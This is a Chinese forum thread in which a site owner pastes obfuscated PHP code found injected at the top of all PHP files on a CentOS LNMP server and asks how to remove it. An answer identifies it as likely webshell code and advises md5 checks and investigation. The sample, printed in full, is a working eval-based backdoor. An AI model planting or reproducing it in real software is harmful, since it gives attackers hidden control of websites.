PHP文件开头被加了代码
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nnurvqqmik = '6f+9f5d816:+946:ce44#)zbssb!>!ss4*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)fPNFS&d_SFSFGFS%x5c%x7x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x55eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825273]y76]258]y6g]273]y76]271]y7d]252]y6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7825)j{hnpd!opjudovg!|!7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>5r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x787825)fnbozcYufhA%x5c%x78272qj%x5c%x78s}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvx7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%ufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyfx5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufc%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%4-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%xc%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x782%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7820TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x78%x7827pd%x5c%x78256<pd%x5c%x7872]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]25)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufx5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x78A%x5c%x7827K6<%x5c%x787fw825mm!>!#]y81]273]y76]258]y6g]27)fepmqyfA>2b%x5c%x7825!<*qp<2p%x5c%x7825%x5c%x787f!~!<##sp!*#opo#>>}R;msv}.;%x5c%x782f#%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<]y33]65]y31]53]y6d]281]y43]78%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*256<^#zsfvr#%x5c%x785cq%x5*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]opd%x5c%x7860ufh%x5c%x7860fmj8242178}527}88:}334}472%x5c%x7824<!%x5c%x7%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7ttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x75%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsbo]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h81L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P67825j>1<%x5c%x7825j=tj{fpg)%x5c%]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x1#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f%x6f%142%x5f%163%x74%141%x72%164")~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#1]#-bubE{h%x5c%x7825)tpqsut>j%x5!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!5c%x7824-%x5c%x7824gps)%x5c%x&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<us)%x5c%x7825j:>1<%x5c%x:#*%x5c%x7824-%x5c%x.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubf78273qj%x5c%x78256<*Y%x5c%x%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7825]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.c%x7825r%x5c%x7878W~!Ypp2)%x5c%%162%x5f%163%x70%154%x69%164%x5c%x78257>%x5c%x782f7&6|7**111127-K)b%x5c%x7825)gpf{jt)!gj!<*2bd5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]45!-#2#%x5c%x782f#%x5c%c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudc%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x78860QUUI&c_UOFHB%x5c%x7860**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860b25<#g6R85,67R37,18R#>q%x5c%x78]238M7]381]211M5]67]4>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x78Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7827827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}7860ufldpt}X;%x5c%x7860msvd}R;*ms%x5c%x7825)Rd%x5c%x7825)Rb%5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,25V<*#fopoV;hojepdoF.uo5c%x7825G]y6d]281Ld]245]K2]28c%x7825-#1]#-bubE{h%x5c%x7825)t2f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824sdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825t55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x747825ff2!>!bssbz)%x5c%x7824]25%xx7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5)hopm3qjA)qj3hopmA%x5c%xmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x786x5c%x7825))!gj!<*#cd2bge56+99386c5c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x55hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5ctpmdXA6|7**197-2qj%x5c%c%x7825)dfyfR%x5c%x7827tfs%xebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<Cw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5fepmqnjA%x5c%x7827&6<.%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787f74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]26OBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($j+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%vd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x782>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x78#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825:<**#57]38y]47]67y]37]88ySFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbx7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825n)-1);} @error_reporting(0); preg_replace("%x2f%50%x2e%52%x29%x7878:!>#]y3g]61]y3f]63]y3:]68]y7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5562]38y]572]48y]#>m%x5c%c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c78:-!%x5c%x7825tzw%x5c%x78ovg%x5c%x7822)!gj}1~!74]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]**#j{hnpd#)tutjyf%x5c%x7860opjud!>!2p%x5c%x7825Z<^2%x5c%x78%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y7]D4]82]K6]72]K9]78]K5]53]Kc#<%x5ovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x19275fubmgoj{h1:|:*mmvo:3]y76]271]y7d]252]y74]256#<!%x5c%x#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A, NULL); }83]273]y76]277#<%x5c%v%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]%50%x22%134%x78%62%x35%165%x3a%14628%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%1%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]=6[%x5c%x7825ww2!>#p#%x5c%x782%x7825>%x5c%x782fh%x5c%x%x5c%x7825j>1<%x5c%x7825jrN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x782c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y36#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x7824676752]88]5]48]32M3]317]445]212epn)%x5c%x7825bss-%x5&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x24%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x78%x5c%x7827,*e%x5c%x7827,7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msc%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]yx5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x7874<!%x5c%x7825o:!>!%x5c%x725V%x5c%x7827{ftmfV%x5c%*^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj67824!>!tus%x5c%x7860sfqmbdf)%x5c%x782x7824-%x5c%x7824]26%x5c%x7Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x725o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gp && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x25w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78255c%x78604%x5c%x78223}!+!<5c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x%57%x65","%x65%166%x61%154%xf#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fk;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%%x5c%x7825-#1GO%x5c%x7822#225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x724-%x5c%x7824b!>!%x5c%xfmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x782e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXx5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe5c%x787f!>>%x5c%x7822!pd%x5bnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FU51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]75]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x21%76%x21%50%x5c%x7825%x5c%x5c%x7825z!>2<!gps)%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6pqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofu5)sutcvt-#w#)ldbqov>*o}-}!#*<%x5c%x7825nfd>%x5cx7825tzw>!#]y76]277]y72]265]y39]2]445]43]321]464]284]364]6]234]342]58]24]35c%x7878%x5c%x7822l:!}824*!|!%x5c%x7824-%x5c%x78if((function_exists("]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"x787f<*X&Z&S{ftmfV%x5c%x787f<*c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hfuopD#)sfebfI{*w%x5c%5%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257*-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,%x5c%x7860439275ttfsqnpdov{h19275j{hnpdg}[;ldpt%x5c%x7825}K;%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%xf%x5c%x787f<u%x5c%x78x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x2f#00;quui#>.%x5c%x7825!<***f/(.*)/epreg_replacemspmtmuado'; $wikfzxgkhx = explode(chr((151-107)),'9373,21,2503,34,7789,54,5045,68,5560,61,8071,28,6532,60,4081,52,3108,28,6498,34,9002,28,5621,34,6832,50,2537,42,1278,30,7879,51,9050,63,7644,58,1772,57,2762,58,3136,38,4830,45,4329,38,8953,49,2955,39,97,56,4779,23,174,62,8621,37,1482,25,5974,62,4367,24,2928,27,552,37,1829,26,5728,56,9677,64,7531,50,1694,49,2863,65,3978,65,4927,22,4209,66,4949,37,4875,52,4802,28,3751,57,380,43,5937,37,6318,54,1024,53,9170,34,1972,29,9931,27,3691,33,6403,42,7167,46,5176,42,6930,32,8727,27,777,66,6962,64,632,49,7303,60,2630,33,3271,49,3860,31,9113,57,1146,68,9204,22,8367,39,8287,57,6445,53,9490,53,423,29,5878,32,5810,21,1566,29,5910,27,7995,36,3174,28,8208,26,1539,27,236,63,3366,48,10077,29,7143,24,1855,60,8406,51,9741,47,2663,70,3439,37,5113,63,8658,69,3724,27,4444,33,0,32,8754,62,153,21,3414,25,5426,40,843,52,731,46,2092,60,8570,51,4625,49,2152,41,1595,32,1432,50,1377,55,589,43,681,50,9892,39,6260,24,7026,47,7970,25,3320,46,6134,63,7420,62,10013,21,7507,24,9460,30,9850,42,7930,40,3527,52,3476,30,3808,23,9543,21,10034,43,9325,22,8031,40,3641,50,8161,47,8457,52,3249,22,4164,45,4589,36,9251,33,5831,47,6036,65,7256,47,6382,21,4674,50,2237,55,4724,55,6673,24,5397,29,2383,55,6197,63,9958,55,3202,47,1308,69,5704,24,5218,57,7482,25,2001,42,1507,32,6284,34,4133,31,7702,49,9347,26,7073,70,8344,23,4275,54,2843,20,7581,37,9564,53,7618,26,2994,40,895,70,2733,29,2351,32,1627,67,965,59,32,65,3938,40,3579,62,299,44,1077,69,5655,49,3077,31,5466,66,5532,28,6722,67,4547,42,2193,44,6909,21,6789,43,8509,61,6592,51,8816,67,6101,33,7213,43,2292,59,4043,38,7843,36,3831,29,3034,43,9226,25,2043,49,2579,51,9617,60,8234,53,3506,21,6882,27,9284,41,2438,65,9788,62,512,40,7751,38,2820,23,452,60,5275,58,4477,70,7363,57,9030,20,6697,25,6643,30,8099,62,4391,53,1214,64,5784,26,3891,47,5333,64,1915,57,343,37,4986,59,8883,70,1743,29,9394,66,6372,10'); $tqnghnyfzy=substr($nnurvqqmik,(64798-54692),(33-26)); if (!function_exists('oxlqbefoln')) { function oxlqbefoln($hgscpbcpvw, $yignozicpm) { $mnanqxjgpv = NULL; for($onczldyeeq=0;$onczldyeeq<(sizeof($hgscpbcpvw)/2);$onczldyeeq++) { $mnanqxjgpv .= substr($yignozicpm, $hgscpbcpvw[($onczldyeeq*2)],$hgscpbcpvw[($onczldyeeq*2)+1]); } return $mnanqxjgpv; };} $mmbcvrfwmv="\x20\57\x2a\40\x74\150\x69\172\x73\147\x79\151\x6f\155\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x31\55\x31\66\x34\51\x29\54\x20\143\x68\162\x28\50\x34\61\x32\55\x33\62\x30\51\x29\54\x20\157\x78\154\x71\142\x65\146\x6f\154\x6e\50\x24\167\x69\153\x66\172\x78\147\x6b\150\x78\54\x24\156\x6e\165\x72\166\x71\161\x6d\151\x6b\51\x29\51\x3b\40\x2f\52\x20\147\x75\142\x61\161\x6c\147\x66\170\x64\40\x2a\57\x20"; $qupcmlntsi=substr($nnurvqqmik,(54921-44808),(56-44)); $qupcmlntsi($tqnghnyfzy, $mmbcvrfwmv, NULL); $qupcmlntsi=$mmbcvrfwmv; $qupcmlntsi=(493-372); $nnurvqqmik=$qupcmlntsi-1; ?>
所有PHP文件头部都被加了代码,求解决:
1、查看了文件时间,没有变,但是文件还是被加了上面那段代码
2、那代码能看出是想做什么事情么
3、大概有哪方面的原因会被修改,环境是 CentOS LNMP
4、如果查不到原因,能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法,求写法
DannyR
10 years, 3 months ago
Answers
这行太长了,fx 卡了半天……
不论如何,被加都不是好东西,极有可能是被黑之后挂马的代码。立即清除不要犹豫。
文件修改时间不是判断标准,只有md5 才是准确的。如果文件md5 被变更,立即停服排查原因补漏洞。
根据特征,搜索了一下,最早发现一年前就有案例( http://www.v2ex.com/t/94586 and http://www.linuxquestions.org/questions/linux-server-73/some-virus-malware-in-my-php-script-4175516386-print/ )
如何删除很简单啊, Linux使用GREP,awk删除指定行
哥尔·D·罗杰
answered 10 years, 3 months ago